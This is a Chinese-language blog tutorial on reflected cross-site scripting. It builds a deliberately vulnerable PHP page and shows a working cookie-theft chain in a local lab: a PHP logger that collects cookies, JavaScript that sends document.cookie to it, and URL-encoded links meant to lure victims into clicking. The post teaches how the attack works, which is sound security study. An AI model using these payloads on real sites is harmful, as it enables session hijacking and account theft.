跨站脚本攻击 XSS

本贴最后更新于 2156 天前,其中的信息可能已经物是人非

0x00 XSS

XSS,跨站脚本攻击(Cross Site Scripting),恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页之时,嵌入其中 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。比如获取用户 Cookie,会话劫持,钓鱼欺骗等多种攻击。

0x01 XSS 的原理

XSS 的原理其实也就是上面所说,恶意攻击者往 Web 页面里插入恶意 html 代码,当用户浏览该页之时,嵌入其中 Web 里面的 html 代码会被执行,从而达到恶意攻击用户的特殊目的。

HTML 的 script 元素标记中间包含 JavaScript,当浏览器遇到这一标记时,它不会将其内容处理成 HTML 或者 XHTML,而是把对于其内容的控制权移交给另一个内置的浏览器代理——脚本处理引擎。又,Web 浏览器本身的设计是不安全的,它只负责解释和执行 JavaScript 等脚本语言,而不会判断代码是否有害。

0x02 XSS 的危害

XSS 在 OWASP 中一直占据着前十的地位,虽然表面上 XSS 不像 sql 注入、文件上传之类的漏洞一样直接可以获得很高的权限,但是因为 xss 漏洞广泛存在于各类网站之中,运用起来灵活多变,所以深受黑客偏爱。

它的常见危害有:

  • (1)网络钓鱼,盗取各类用户的账号
  • (2)窃取用户 Cookie,获取用户隐私,或者利用用户身份进一步执行操作
  • (3)劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志等
  • (4)强制弹出广告页面,刷流量等
  • (5)传播木马

0x03 漏洞复现

首先我们要搭建漏洞环境,这里我们可以选用之前博客中提到的的 LAMP 环境,也可以搭建一个 wamp 环境,这里为了方便,我就在 windows 下搭建环境测试了,首先我们在 wamp 的 www/xss 文件夹下新建 test.php,然后输入如下内容(前后要有 html 标签):

<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
	<title>XSS test</title>
</head>
<body>
	<form action="" method="get">
	<input type="text" name="xss_input">
	<input type="submit">
	</form>
	<hr>
	<?php
	setcookie('cookie','test');
	$xss = $_GET['xss_input'];
	echo 'your input is:<br>'.$xss;
	?>
</body>

然后保存并打开 wamp 服务

通过浏览器访问 127.0.0.1/xss/test.php 来访问刚才创建的页面,

我们在输入框输入,点击提交,发现出现有如下图的 xss 的弹窗,此时环境搭建完成。

0x04 漏洞利用

如果只是控制弹窗,我们并不能直观的看到它的危害,下来我们尝试利用 xss 漏洞,看看能做到什么程度。

XSS 最经常使用的就是获取 Cookie 了,攻击者通常利用网站的 xss 漏洞向页面写入窃取 Cookie 信息的代码,在用户浏览网页时,攻击者就会获取受害者当前浏览器中的 Cookie 信息。此时攻击者可以将 Cookie 信息向服务器提交,然后以受害者的身份登陆网站。

我们尝试一个最简单的反射型 xss 获取用户 cookie。

我们先在自己的远程服务器上写一个 php 页面和一个 js 脚本来接收 Cookie 并保存:

hk.php:
cookie = _GET["q"];

  $log = fopen("cookie.txt", "a");

  fwrite($log, $cookie . "\n");

  fclose($log);

  ?>

这段代码的作用是读取 q 的值,然后以增加的方式打开 cookie.txt,然后将读取到的值写入 cookie.txt。

然后我们在漏洞页面构造如下(要加上 script 标签)xss:
var x=new Image();x.src="http://127.0.0.1/xss/hk/hk.php?q="+document.cookie;
然后我们发现,cookie.txt 中,已经有我们刚才页面的 cookie 了

并且查看源代码,发现源代码中有这样一句 javascript

这个时候,如果把下面链接发送给别人,别人点到就可以获取它的 cookie 了
http://127.0.0.1/xss/test.php?
xss_input=%3Cscript%3Evar+x%3Dnew+Image%28%29%3Bx.src%3D%22http
%3A%2F%2F127.0.0.1%2Fxss%2Fhk%2Fhk.php%3Fq%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E
虽然这样可以达成效果,但是我们发现,恶意代码都明明显显的写到 url 中了,很少会有人上当,而且 url 长度太长,遇到某些不能输入这么长 js 脚本的输入框怎么办?

所以就有了一个更好的解决办法,那就是将 js 脚本写到自己的服务器中,在搜索框中只需要调用咱们自己服务器上面的脚本就可以了。

我们在自己服务器中和刚才的 hk.php 同路径创建一个 hk.js

hk.js:
var x=new Image();

  x.src="http://127.0.0.1/xss/hk/hk.php?q="+document.cookie;

然后在漏洞界面写入如下 xss:
《script src = http://127.0.0.1/xss/hk/hk.js><‘/’script>
发现结果 cookie.txt 多了一行

并且源码中的 javascript 如下

然后我们构造一个链接来欺骗用户
http://127.0.0.1/xss/test.php?xss_input=%3Cscript+src+%3D+http%3A%2F%2F127.0.0.1%2Fxss%2Fhk%2Fhk.js%3E%3C%2Fscript%3E
只要用户点击此链接,cookie 就会被记录到我们服务器上的 cookie.txt 里面。

以上就是一次反射性 xss 最简单的利用方式。

0x05 总结

xss 漏洞因为其危害不直观,往往不受到重视,但是它的运用十分灵活,绕过方式也和 sql 注入一样十分丰富,在有些时候可以达到意想不到的效果。

这次暂时就写到这里,下一篇关于 xss 的博客会详细的介绍 xss 的一些绕过检测和限制的方式,还有利用 xss 进行网络钓鱼以及网页挂马的方法。

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...

推荐标签 标签

  • Notion

    Notion - The all-in-one workspace for your notes, tasks, wikis, and databases.

    5 引用 • 26 回帖
  • WiFiDog

    WiFiDog 是一套开源的无线热点认证管理工具,主要功能包括:位置相关的内容递送;用户认证和授权;集中式网络监控。

    1 引用 • 7 回帖 • 576 关注
  • 友情链接

    确认过眼神后的灵魂连接,站在链在!

    24 引用 • 373 回帖 • 1 关注
  • 知乎

    知乎是网络问答社区,连接各行各业的用户。用户分享着彼此的知识、经验和见解,为中文互联网源源不断地提供多种多样的信息。

    10 引用 • 66 回帖
  • ngrok

    ngrok 是一个反向代理,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道。

    7 引用 • 63 回帖 • 623 关注
  • 大数据

    大数据(big data)是指无法在一定时间范围内用常规软件工具进行捕捉、管理和处理的数据集合,是需要新处理模式才能具有更强的决策力、洞察发现力和流程优化能力的海量、高增长率和多样化的信息资产。

    93 引用 • 113 回帖 • 1 关注
  • SSL

    SSL(Secure Sockets Layer 安全套接层),及其继任者传输层安全(Transport Layer Security,TLS)是为网络通信提供安全及数据完整性的一种安全协议。TLS 与 SSL 在传输层对网络连接进行加密。

    70 引用 • 193 回帖 • 461 关注
  • 一些有用的避坑指南。

    69 引用 • 93 回帖
  • Solo

    Solo 是一款小而美的开源博客系统,专为程序员设计。Solo 有着非常活跃的社区,可将文章作为帖子推送到社区,来自社区的回帖将作为博客评论进行联动(具体细节请浏览 B3log 构思 - 分布式社区网络)。

    这是一种全新的网络社区体验,让热爱记录和分享的你不再感到孤单!

    1429 引用 • 10050 回帖 • 486 关注
  • Caddy

    Caddy 是一款默认自动启用 HTTPS 的 HTTP/2 Web 服务器。

    11 引用 • 54 回帖 • 146 关注
  • ReactiveX

    ReactiveX 是一个专注于异步编程与控制可观察数据(或者事件)流的 API。它组合了观察者模式,迭代器模式和函数式编程的优秀思想。

    1 引用 • 2 回帖 • 143 关注
  • AngularJS

    AngularJS 诞生于 2009 年,由 Misko Hevery 等人创建,后为 Google 所收购。是一款优秀的前端 JS 框架,已经被用于 Google 的多款产品当中。AngularJS 有着诸多特性,最为核心的是:MVC、模块化、自动化双向数据绑定、语义化标签、依赖注入等。2.0 版本后已经改名为 Angular。

    12 引用 • 50 回帖 • 457 关注
  • JVM

    JVM(Java Virtual Machine)Java 虚拟机是一个微型操作系统,有自己的硬件构架体系,还有相应的指令系统。能够识别 Java 独特的 .class 文件(字节码),能够将这些文件中的信息读取出来,使得 Java 程序只需要生成 Java 虚拟机上的字节码后就能在不同操作系统平台上进行运行。

    180 引用 • 120 回帖 • 3 关注
  • 游戏

    沉迷游戏伤身,强撸灰飞烟灭。

    174 引用 • 814 回帖
  • 服务

    提供一个服务绝不仅仅是简单的把硬件和软件累加在一起,它包括了服务的可靠性、服务的标准化、以及对服务的监控、维护、技术支持等。

    41 引用 • 24 回帖 • 2 关注
  • 创造

    你创造的作品可能会帮助到很多人,如果是开源项目的话就更赞了!

    175 引用 • 994 回帖
  • Sublime

    Sublime Text 是一款可以用来写代码、写文章的文本编辑器。支持代码高亮、自动完成,还支持通过插件进行扩展。

    10 引用 • 5 回帖 • 2 关注
  • C++

    C++ 是在 C 语言的基础上开发的一种通用编程语言,应用广泛。C++ 支持多种编程范式,面向对象编程、泛型编程和过程化编程。

    106 引用 • 152 回帖 • 2 关注
  • API

    应用程序编程接口(Application Programming Interface)是一些预先定义的函数,目的是提供应用程序与开发人员基于某软件或硬件得以访问一组例程的能力,而又无需访问源码,或理解内部工作机制的细节。

    76 引用 • 429 回帖 • 5 关注
  • TensorFlow

    TensorFlow 是一个采用数据流图(data flow graphs),用于数值计算的开源软件库。节点(Nodes)在图中表示数学操作,图中的线(edges)则表示在节点间相互联系的多维数据数组,即张量(tensor)。

    20 引用 • 19 回帖 • 3 关注
  • 生活

    生活是指人类生存过程中的各项活动的总和,范畴较广,一般指为幸福的意义而存在。生活实际上是对人生的一种诠释。生活包括人类在社会中与自己息息相关的日常活动和心理影射。

    230 引用 • 1454 回帖
  • WebComponents

    Web Components 是 W3C 定义的标准,它给了前端开发者扩展浏览器标签的能力,可以方便地定制可复用组件,更好的进行模块化开发,解放了前端开发者的生产力。

    1 引用 • 1 关注
  • 酷鸟浏览器

    安全 · 稳定 · 快速
    为跨境从业人员提供专业的跨境浏览器

    3 引用 • 59 回帖 • 18 关注
  • Flutter

    Flutter 是谷歌的移动 UI 框架,可以快速在 iOS 和 Android 上构建高质量的原生用户界面。 Flutter 可以与现有的代码一起工作,它正在被越来越多的开发者和组织使用,并且 Flutter 是完全免费、开源的。

    39 引用 • 92 回帖 • 8 关注
  • CodeMirror
    1 引用 • 2 回帖 • 127 关注
  • jQuery

    jQuery 是一套跨浏览器的 JavaScript 库,强化 HTML 与 JavaScript 之间的操作。由 John Resig 在 2006 年 1 月的 BarCamp NYC 上释出第一个版本。全球约有 28% 的网站使用 jQuery,是非常受欢迎的 JavaScript 库。

    63 引用 • 134 回帖 • 728 关注
  • SEO

    发布对别人有帮助的原创内容是最好的 SEO 方式。

    35 引用 • 200 回帖 • 25 关注